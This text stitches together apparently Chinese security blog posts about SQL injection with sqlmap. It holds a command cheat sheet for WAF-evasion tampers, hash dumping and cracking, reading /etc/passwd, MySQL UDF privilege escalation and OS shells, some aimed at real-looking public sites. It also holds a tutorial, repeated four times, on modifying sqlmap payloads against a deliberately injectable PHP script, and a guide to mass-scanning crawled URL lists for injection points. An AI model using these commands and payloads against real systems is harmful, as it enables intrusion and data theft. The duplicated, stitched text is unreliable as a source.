nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释

2. URL重写SQL注入测试

value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。

sqlmap.py -u”http://targeturl/param1/value1*/param2/value2/”

3. 列举并破解密码哈希值

  当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –passwords -v1

4. 获取表中的数据个数

sqlmap.py -u”http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” –count -Dtestdb

5.对网站secbang.com进行漏洞爬去

sqlmap.py -u “http://www.secbang.com“–batch –crawl=3

6.基于布尔SQL注入预估时间

sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1“-b –eta

7.使用hex避免字符编码导致数据丢失

sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” –banner –hex -v 3 –parse-errors

8.模拟测试手机环境站点

python sqlmap.py -u”http://www.target.com/vuln.php?id=1” –mobile

9.智能判断测试

sqlmap.py -u “http://www.antian365.com/info.php?id=1“–batch –smart

10.结合burpsuite进行注入

(1)burpsuite抓包,需要设置burpsuite记录请求日志

sqlmap.py -r burpsuite抓包.txt

(2)指定表单注入

sqlmap.py -u URL –data“username=a&password=a”

11.sqlmap自动填写表单注入

自动填写表单:

sqlmap.py -u URL –forms

sqlmap.py -u URL –forms –dbs

sqlmap.py -u URL –forms –current-db

sqlmap.py -u URL –forms -D 数据库名称–tables

sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns

sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump

12.读取linux下文件

 sqlmap.py-u “url” –file /etc/password

13.延时注入

sqlmap.py -u URL –technique -T–current-user

14. sqlmap 结合burpsuite进行post注入

结合burpsuite来使用sqlmap:

(1)浏览器打开目标地址http://www.antian365.com

(2)配置burp代理(127.0.0.1:8080)以拦截请求

(3)点击登录表单的submit按钮

(4)Burp会拦截到了我们的登录POST请求

(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下

(6)运行sqlmap并使用如下命令:

./sqlmap.py -r post.txt -p tfUPass

15.sqlmap cookies注入

sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “id=1″  –dbs –level 2

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:

sqlmap.py -u 注入点URL --cookie"id=xx" --level 3

sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump

 16.mysql提权

(1)连接mysql数据打开一个交互shell:

sqlmap.py -dmysql://root:[email protected]:3306/test --sql-shell

select @@version;

select @@plugin_dir;

d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\

(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:

sqlmap.py -dmysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');

17.执行shell命令

sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/

sqlmap.py -u “url” –os-shell /*系统交互的shell*/

18.延时注入

sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/

sqlmap –dbs -u"url" –safe-freq /*请求2次*/

参考文章:

http://sqlmap.org/

https://github.com/sqlmapproject/sqlmap

https://github.com/sqlmapproject/sqlmap/wiki

https://sobug.com/article/detail/2

https://blog.xiaohack.org/1378.html

*本文作者:simeon,转载请注明来自 FreeBuf.COM

前言

事情的起因是这样的:斗哥经常会发现一些骚气十足的注入规则,不过想要发挥这些注入规则少不了编写py脚本,小表姐作为sqlmap神器的忠实粉丝,决定把斗哥发现的骚气注入规则添加到sqlmap里面于是就有了本次课题,文章采用倒序的方式详解sqlmap注入规则的修改之路。

准备工作

sqlmap的源码版本:1.1.8.5#dev

测试环境:phpstudy(php5.5.38+Apache)

测试脚本:

(ps:以下这个脚本是不是很眼熟,没错就是斗哥之前某篇关于order by注入的文章,传送门:玩得一手好注入之order by排序篇)

<?php

   $mysql_server="127.0.0.1";

   $mysql_username="root";

   $mysql_userpass="root";

   $mysql_select_db="test";

   $html='';

   [email protected]_connect($mysql_server,$mysql_username,$mysql_userpass)or die (mysql_error());

   $db=mysql_select_db($mysql_select_db)or die (mysql_error());

   if( isset( $_REQUEST[ 'evil' ]) ) {

       $evil = $_REQUEST[ 'evil' ];

       $query  = "(select * from test order by user_id $evil);";

       $result = mysql_query( $query,$config) or die( $query.'<pre>' . mysql_error() . '</pre>');

       $num = @mysql_numrows( $result );

       $i   = 0;

       while( $i < $num ) {

           $user_id = mysql_result( $result, $i, "user_id" );

           $user = mysql_result( $result, $i, "user" );

           $password  = mysql_result( $result, $i, "password" );

           $html .= "<pre>user_id: {$user_id} user: {$user} password: {$password}</pre>";

           $i++;

       }

       mysql_close();

       echo $query;

       echo $html;

   }

   ?>

自定义添加sqlmap payload的过程详解:

正常访问测试页面如下:

如下.png

手工测试发现有三种方法可以实现注入:

1.报错注入

payload:?evil=and(updatexml(1,concat(0x7e,(select user())),0))

报错.png

2.盲注

payload:^(select (select version()) regexp ‘^5’)

mangzhu.png

payload:^(select (select version()) regexp ‘^aaaaaa’)

aaaaa.png

3.union注入

?evil=desc) union (select 1,(version()),3)–+

union.png

使用sqlmap自动注入:

未修改了sqlmap的时候:

命令:sqlmap.py -u “http://192.168.159.1/test.php?evil=desc” -v 3 –technique=U –dbms=MySQL –current-user –proxy=http://127.0.0.1:8080

结果提示evil不是注入点:

注入点.png

在手工测试的时候我们发现是存注入的,但是使用sqlmap注入的时候却提示不是注入点,这是为什么呢?首先我们需要知道手工注入payload的关键点是)闭合了原来的查询语句,然后是union后面的select语句也同样用()包裹起来(详情请看斗哥order by 注入篇,或者查官方手册),于是我们去分析sqlmap在运行的时候是如何构造注入的payload,截图如下:

截图.png

由于使用了–technique=U指定注入时使用union_query.xml即union的payload,我们发现所有union后面连接的select子句都没有用圆括号包裹起来,OK,现在要改的点找到了,但是我们要去哪里改呢?思考ing 。

尝试修改1:

:一开始想到修改ptype是因为ptype的作用范围是为前缀和后缀之间的注入语句添加单引号,或者双引号,以及like之类的,所以猜想应该也可以加圆括号,不过后来意识到ptype是给参数添加符号的,不是在整个查询语句添加的。so this is a wrong way。

尝试修改2:

修改前缀和后缀,修改的位置在xml文件夹下的boundaries.xml文件,于是尝试修改前缀如下:

前缀.png

运行测试:

运行测试.png

发现union重复了,UNION ALL SELECT 是sqlmap注入语句固定会拼接的,而且在xml下没有找到相应修改的地方,所以猜测可能要在源码修改。使用nodepad++找到如下可能可以修改的地方:

地方.png

最后发现\sqlmap1.8.5\lib\core\agent.py文件中的定义的forgeUnionQuery()函数是有关UNION ALL SELECT查询的函数:

函数.png

修改如下:

如.png

还有一个括号根据最后拼接的unionQuery语句,得知我们需修改commnet参数:

参数.png

commenet参数即union_query.xml文件中的标签的内容,根据sqlmap注入时每个语句后面都有#

井号.png

于是查找带有#的标签并修改如下:

褥子.png

运行测试:

注意每次测试前后需要删除.sqlmap\output文件下的缓存,以免影响测试效果:

效果.png

修改后的sqlmap注入成功,可获取到用户名:

用户名.png

小总结

本篇以简要的示例先使用倒叙展示了 修改sqlmap前和修改后的效果,后续的篇章会介绍sqlmap中xml介绍和修改和添加的方法。

640.webp.jpg

前言

事情的起因是这样的:斗哥经常会发现一些骚气十足的注入规则,不过想要发挥这些注入规则少不了编写py脚本,小表姐作为sqlmap神器的忠实粉丝,决定把斗哥发现的骚气注入规则添加到sqlmap里面于是就有了本次课题,文章采用倒序的方式详解sqlmap注入规则的修改之路。

准备工作

sqlmap的源码版本:1.1.8.5#dev

测试环境:phpstudy(php5.5.38+Apache)

测试脚本:

(ps:以下这个脚本是不是很眼熟,没错就是斗哥之前某篇关于order by注入的文章,传送门:玩得一手好注入之order by排序篇)

<?php

   $mysql_server="127.0.0.1";

   $mysql_username="root";

   $mysql_userpass="root";

   $mysql_select_db="test";

   $html='';

   [email protected]_connect($mysql_server,$mysql_username,$mysql_userpass)or die (mysql_error());

   $db=mysql_select_db($mysql_select_db)or die (mysql_error());

   if( isset( $_REQUEST[ 'evil' ]) ) {

       $evil = $_REQUEST[ 'evil' ];

       $query  = "(select * from test order by user_id $evil);";

       $result = mysql_query( $query,$config) or die( $query.'<pre>' . mysql_error() . '</pre>');

       $num = @mysql_numrows( $result );

       $i   = 0;

       while( $i < $num ) {

           $user_id = mysql_result( $result, $i, "user_id" );

           $user = mysql_result( $result, $i, "user" );

           $password  = mysql_result( $result, $i, "password" );

           $html .= "<pre>user_id: {$user_id} user: {$user} password: {$password}</pre>";

           $i++;

       }

       mysql_close();

       echo $query;

       echo $html;

   }

   ?>

自定义添加sqlmap payload的过程详解:

正常访问测试页面如下:

如下.png

手工测试发现有三种方法可以实现注入:

1.报错注入

payload:?evil=and(updatexml(1,concat(0x7e,(select user())),0))

报错.png

2.盲注

payload:^(select (select version()) regexp ‘^5’)

mangzhu.png

payload:^(select (select version()) regexp ‘^aaaaaa’)

aaaaa.png

3.union注入

?evil=desc) union (select 1,(version()),3)–+

union.png

使用sqlmap自动注入:

未修改了sqlmap的时候:

命令:sqlmap.py -u “http://192.168.159.1/test.php?evil=desc” -v 3 –technique=U –dbms=MySQL –current-user –proxy=http://127.0.0.1:8080

结果提示evil不是注入点:

注入点.png

在手工测试的时候我们发现是存注入的,但是使用sqlmap注入的时候却提示不是注入点,这是为什么呢?首先我们需要知道手工注入payload的关键点是)闭合了原来的查询语句,然后是union后面的select语句也同样用()包裹起来(详情请看斗哥order by 注入篇,或者查官方手册),于是我们去分析sqlmap在运行的时候是如何构造注入的payload,截图如下:

截图.png

由于使用了–technique=U指定注入时使用union_query.xml即union的payload,我们发现所有union后面连接的select子句都没有用圆括号包裹起来,OK,现在要改的点找到了,但是我们要去哪里改呢?思考ing 。

尝试修改1:

:一开始想到修改ptype是因为ptype的作用范围是为前缀和后缀之间的注入语句添加单引号,或者双引号,以及like之类的,所以猜想应该也可以加圆括号,不过后来意识到ptype是给参数添加符号的,不是在整个查询语句添加的。so this is a wrong way。

尝试修改2:

修改前缀和后缀,修改的位置在xml文件夹下的boundaries.xml文件,于是尝试修改前缀如下:

前缀.png

运行测试:

运行测试.png

发现union重复了,UNION ALL SELECT 是sqlmap注入语句固定会拼接的,而且在xml下没有找到相应修改的地方,所以猜测可能要在源码修改。使用nodepad++找到如下可能可以修改的地方:

地方.png

最后发现\sqlmap1.8.5\lib\core\agent.py文件中的定义的forgeUnionQuery()函数是有关UNION ALL SELECT查询的函数:

函数.png

修改如下:

如.png

还有一个括号根据最后拼接的unionQuery语句,得知我们需修改commnet参数:

参数.png

commenet参数即union_query.xml文件中的标签的内容,根据sqlmap注入时每个语句后面都有#

井号.png

于是查找带有#的标签并修改如下:

褥子.png

运行测试:

注意每次测试前后需要删除.sqlmap\output文件下的缓存,以免影响测试效果:

效果.png

修改后的sqlmap注入成功,可获取到用户名:

用户名.png

小总结

本篇以简要的示例先使用倒叙展示了 修改sqlmap前和修改后的效果,后续的篇章会介绍sqlmap中xml介绍和修改和添加的方法。

640.webp.jpg

前言

事情的起因是这样的:斗哥经常会发现一些骚气十足的注入规则,不过想要发挥这些注入规则少不了编写py脚本,小表姐作为sqlmap神器的忠实粉丝,决定把斗哥发现的骚气注入规则添加到sqlmap里面于是就有了本次课题,文章采用倒序的方式详解sqlmap注入规则的修改之路。

准备工作

sqlmap的源码版本:1.1.8.5#dev

测试环境:phpstudy(php5.5.38+Apache)

测试脚本:

(ps:以下这个脚本是不是很眼熟,没错就是斗哥之前某篇关于order by注入的文章,传送门:玩得一手好注入之order by排序篇)

<?php

   $mysql_server="127.0.0.1";

   $mysql_username="root";

   $mysql_userpass="root";

   $mysql_select_db="test";

   $html='';

   [email protected]_connect($mysql_server,$mysql_username,$mysql_userpass)or die (mysql_error());

   $db=mysql_select_db($mysql_select_db)or die (mysql_error());

   if( isset( $_REQUEST[ 'evil' ]) ) {

       $evil = $_REQUEST[ 'evil' ];

       $query  = "(select * from test order by user_id $evil);";

       $result = mysql_query( $query,$config) or die( $query.'<pre>' . mysql_error() . '</pre>');

       $num = @mysql_numrows( $result );

       $i   = 0;

       while( $i < $num ) {

           $user_id = mysql_result( $result, $i, "user_id" );

           $user = mysql_result( $result, $i, "user" );

           $password  = mysql_result( $result, $i, "password" );

           $html .= "<pre>user_id: {$user_id} user: {$user} password: {$password}</pre>";

           $i++;

       }

       mysql_close();

       echo $query;

       echo $html;

   }

   ?>

自定义添加sqlmap payload的过程详解:

正常访问测试页面如下:

如下.png

手工测试发现有三种方法可以实现注入:

1.报错注入

payload:?evil=and(updatexml(1,concat(0x7e,(select user())),0))

报错.png

2.盲注

payload:^(select (select version()) regexp ‘^5’)

mangzhu.png

payload:^(select (select version()) regexp ‘^aaaaaa’)

aaaaa.png

3.union注入

?evil=desc) union (select 1,(version()),3)–+

union.png

使用sqlmap自动注入:

未修改了sqlmap的时候:

命令:sqlmap.py -u “http://192.168.159.1/test.php?evil=desc” -v 3 –technique=U –dbms=MySQL –current-user –proxy=http://127.0.0.1:8080

结果提示evil不是注入点:

注入点.png

在手工测试的时候我们发现是存注入的,但是使用sqlmap注入的时候却提示不是注入点,这是为什么呢?首先我们需要知道手工注入payload的关键点是)闭合了原来的查询语句,然后是union后面的select语句也同样用()包裹起来(详情请看斗哥order by 注入篇,或者查官方手册),于是我们去分析sqlmap在运行的时候是如何构造注入的payload,截图如下:

截图.png

由于使用了–technique=U指定注入时使用union_query.xml即union的payload,我们发现所有union后面连接的select子句都没有用圆括号包裹起来,OK,现在要改的点找到了,但是我们要去哪里改呢?思考ing 。

尝试修改1:

:一开始想到修改ptype是因为ptype的作用范围是为前缀和后缀之间的注入语句添加单引号,或者双引号,以及like之类的,所以猜想应该也可以加圆括号,不过后来意识到ptype是给参数添加符号的,不是在整个查询语句添加的。so this is a wrong way。

尝试修改2:

修改前缀和后缀,修改的位置在xml文件夹下的boundaries.xml文件,于是尝试修改前缀如下:

前缀.png

运行测试:

运行测试.png

发现union重复了,UNION ALL SELECT 是sqlmap注入语句固定会拼接的,而且在xml下没有找到相应修改的地方,所以猜测可能要在源码修改。使用nodepad++找到如下可能可以修改的地方:

地方.png

最后发现\sqlmap1.8.5\lib\core\agent.py文件中的定义的forgeUnionQuery()函数是有关UNION ALL SELECT查询的函数:

函数.png

修改如下:

如.png

还有一个括号根据最后拼接的unionQuery语句,得知我们需修改commnet参数:

参数.png

commenet参数即union_query.xml文件中的标签的内容,根据sqlmap注入时每个语句后面都有#

井号.png

于是查找带有#的标签并修改如下:

褥子.png

运行测试:

注意每次测试前后需要删除.sqlmap\output文件下的缓存,以免影响测试效果:

效果.png

修改后的sqlmap注入成功,可获取到用户名:

用户名.png

小总结

本篇以简要的示例先使用倒叙展示了 修改sqlmap前和修改后的效果,后续的篇章会介绍sqlmap中xml介绍和修改和添加的方法。

640.webp.jpg

前言

事情的起因是这样的:斗哥经常会发现一些骚气十足的注入规则,不过想要发挥这些注入规则少不了编写py脚本,小表姐作为sqlmap神器的忠实粉丝,决定把斗哥发现的骚气注入规则添加到sqlmap里面于是就有了本次课题,文章采用倒序的方式详解sqlmap注入规则的修改之路。

准备工作

sqlmap的源码版本:1.1.8.5#dev

测试环境:phpstudy(php5.5.38+Apache)

测试脚本:

(ps:以下这个脚本是不是很眼熟,没错就是斗哥之前某篇关于order by注入的文章,传送门:玩得一手好注入之order by排序篇)

<?php

   $mysql_server="127.0.0.1";

   $mysql_username="root";

   $mysql_userpass="root";

   $mysql_select_db="test";

   $html='';

   [email protected]_connect($mysql_server,$mysql_username,$mysql_userpass)or die (mysql_error());

   $db=mysql_select_db($mysql_select_db)or die (mysql_error());

   if( isset( $_REQUEST[ 'evil' ]) ) {

       $evil = $_REQUEST[ 'evil' ];

       $query  = "(select * from test order by user_id $evil);";

       $result = mysql_query( $query,$config) or die( $query.'<pre>' . mysql_error() . '</pre>');

       $num = @mysql_numrows( $result );

       $i   = 0;

       while( $i < $num ) {

           $user_id = mysql_result( $result, $i, "user_id" );

           $user = mysql_result( $result, $i, "user" );

           $password  = mysql_result( $result, $i, "password" );

           $html .= "<pre>user_id: {$user_id} user: {$user} password: {$password}</pre>";

           $i++;

       }

       mysql_close();

       echo $query;

       echo $html;

   }

   ?>

自定义添加sqlmap payload的过程详解:

正常访问测试页面如下:

如下.png

手工测试发现有三种方法可以实现注入:

1.报错注入

payload:?evil=and(updatexml(1,concat(0x7e,(select user())),0))

报错.png

2.盲注

payload:^(select (select version()) regexp ‘^5’)

mangzhu.png

payload:^(select (select version()) regexp ‘^aaaaaa’)

aaaaa.png

3.union注入

?evil=desc) union (select 1,(version()),3)–+

union.png

使用sqlmap自动注入:

未修改了sqlmap的时候:

命令:sqlmap.py -u “http://192.168.159.1/test.php?evil=desc” -v 3 –technique=U –dbms=MySQL –current-user –proxy=http://127.0.0.1:8080

结果提示evil不是注入点:

注入点.png

在手工测试的时候我们发现是存注入的,但是使用sqlmap注入的时候却提示不是注入点,这是为什么呢?首先我们需要知道手工注入payload的关键点是)闭合了原来的查询语句,然后是union后面的select语句也同样用()包裹起来(详情请看斗哥order by 注入篇,或者查官方手册),于是我们去分析sqlmap在运行的时候是如何构造注入的payload,截图如下:

截图.png

由于使用了–technique=U指定注入时使用union_query.xml即union的payload,我们发现所有union后面连接的select子句都没有用圆括号包裹起来,OK,现在要改的点找到了,但是我们要去哪里改呢?思考ing 。

尝试修改1:

:一开始想到修改ptype是因为ptype的作用范围是为前缀和后缀之间的注入语句添加单引号,或者双引号,以及like之类的,所以猜想应该也可以加圆括号,不过后来意识到ptype是给参数添加符号的,不是在整个查询语句添加的。so this is a wrong way。

尝试修改2:

修改前缀和后缀,修改的位置在xml文件夹下的boundaries.xml文件,于是尝试修改前缀如下:

前缀.png

运行测试:

运行测试.png

发现union重复了,UNION ALL SELECT 是sqlmap注入语句固定会拼接的,而且在xml下没有找到相应修改的地方,所以猜测可能要在源码修改。使用nodepad++找到如下可能可以修改的地方:

地方.png

最后发现\sqlmap1.8.5\lib\core\agent.py文件中的定义的forgeUnionQuery()函数是有关UNION ALL SELECT查询的函数:

函数.png

修改如下:

如.png

还有一个括号根据最后拼接的unionQuery语句,得知我们需修改commnet参数:

参数.png

commenet参数即union_query.xml文件中的标签的内容,根据sqlmap注入时每个语句后面都有#

井号.png

于是查找带有#的标签并修改如下:

褥子.png

运行测试:

注意每次测试前后需要删除.sqlmap\output文件下的缓存,以免影响测试效果:

效果.png

修改后的sqlmap注入成功,可获取到用户名:

用户名.png

小总结

本篇以简要的示例先使用倒叙展示了 修改sqlmap前和修改后的效果,后续的篇章会介绍sqlmap中xml介绍和修改和添加的方法。

640.webp.jpg

0×01 前言

SQL注入,这个类型的漏洞我真的学了好久好久好久好久,即是我刚刚开始接触安全就学习的第一种漏洞,也是一个迄今为止还在学习的漏洞类型,只能说,感觉自己还是有很多还是不会的。从一开始的手工一个网站一个网站去测,到之后的用google hacking的方法去找可疑链接,再到后面用sqlmap批量检测。也是经历了至少半年的时间。今天才写了个调用sqlmapapi的脚本,想跟大家分享一些走过的坑和思路。

0×02 SQL注入批量测试的几种方法

本文的目的在于通过看别人的代码来学习原理,同时也掌握自己造轮子的能力。这里只是列举了我自己平时用到的几种方法,当然网上能找到更多更好的工具,或者更好的思路,都是值得学习的。

下面就列举三种方法是:sqliv、sqlmap -m、sqlmapapi。

1.1  sqliv

1.1.1  下载地址:

https://github.com/Hadesy2k/sqliv

1.1.2  说明:

1.png

作者是Hadesy2k,可以看到作者大大更新还是挺勤快的,写这文章的日期是11月23日(文章第一版)(第二版已经是12月28日),从图里可以看出作者在月初的时候更新了一波。

而更之前在10月份的时候我看了一遍这个代码,发现作者在检测sql注入点的时候只是在参数值后加了个单引号,然后检测返回页面的报错信息。以这种方式去测试当然会遗漏很多呀。而且如果一个链接后跟多个参数,同时在所有参数值里加单引号。我头上直冒汗。

在【src/scanner.py】里可以看到这一句:

【website = domain + “?” + (“&”.join([param +payload for param in queries]))】

每个参数值加payload后组合一起,现在依然是这种方式。

在11月初更新一波后,可以看到payload不再是只有单引号了,还有了很多其它的如括号,分号等。

2.png

3.png

这个是lesson是没有注入的,参数内容改变的话会影响页面返回结果,所以正确的方法应该是单独给每个参数的内容加payload进行测试。

4.png

我自己改了下,变成分别单独测试所有参数值,有需要的话。大家可以去我的github【https://github.com/Martin2877/sqliv-M/blob/master/src/scanner.py】看。

5.png

值的高兴的是,作者把检测POST请求放在他的【To Do】里了,期待。

6.png

(而当我12月28号再去看的时候,作者又更新了许多,还加入了docker更方便部署。点个赞。)

7.png

1.1.3  多地址

因为sqliv本身是没有多地址批量的,所以我们自己写一个咯,还是比较简单的,见下图,代码也在我的github里

8.png

1.2  sqlmap -m

1.2.1  下载地址:

https://github.com/sqlmapproject/sqlmap

1.2.2 说明:

神器sqlmap,不多说,-m模式,就是用来批量测试url的,不过是单线程,比较慢,效果比sqlmapapi好。

使用命令:

python sqlmap.py -m urls.txt --batch

9.png

1.3  sqlmapapi

1.3.1  下载地址:

https://github.com/Martin2877/sqlmapapi-M

1.3.2  说明:

api模式有多线程,先通过sqlmap根目录中的sqlmapapi.py启动服务:

【python sqlmapapi.py -s】

10.png

然后到sqlmapapi-M根目录下,在【url.txt】中写你要批量测试的地址:

11.png

然后使用命令执行批量扫描:【python sqlmapbatch.py】

12.png

效果如图,而其关键代码如下:

13.png

这里设置了超时时间是4秒,然后测下一个,大家也可以设置更久一点,效果也会更好。我这里没有做队列什么的,大家可以自己改哈。

0×03 爬取链接

当然上面几种方法都需要用到url.txt,针对这个我另外写了一个爬虫工具,见【https://github.com/Martin2877/FindLinks】,是爬取一个网站下链接的工具;网上还有很多能通过搜索找可能有sql注入的网站,这里就不多描述啦。

0×04 总结

总结一下,上面所列的几个工具或方法效果最好的当然是【sqlmap -m】,因为没有“超时”,一个地址会一直测到完为止,所以测的时间真的很久,测一天的话也就只能有500个地址吧。而这里slqmapapi因为设置了超时,所以会快很多,不过效果没有那么好。以后加了队列应该就能顾及两个方面的问题。而sqliv相对来说比较快,因为只是加payload看返回是否有数据库报错(也是其缺点),当然可以改代码变成加载payload字典的方式去测,也算是不错的一个工具。

以上,就是这么多啦,祝愿大家能更快更多地挖出sql注入哦~

*本文作者:muhe,转载请注明来自FreeBuf.COM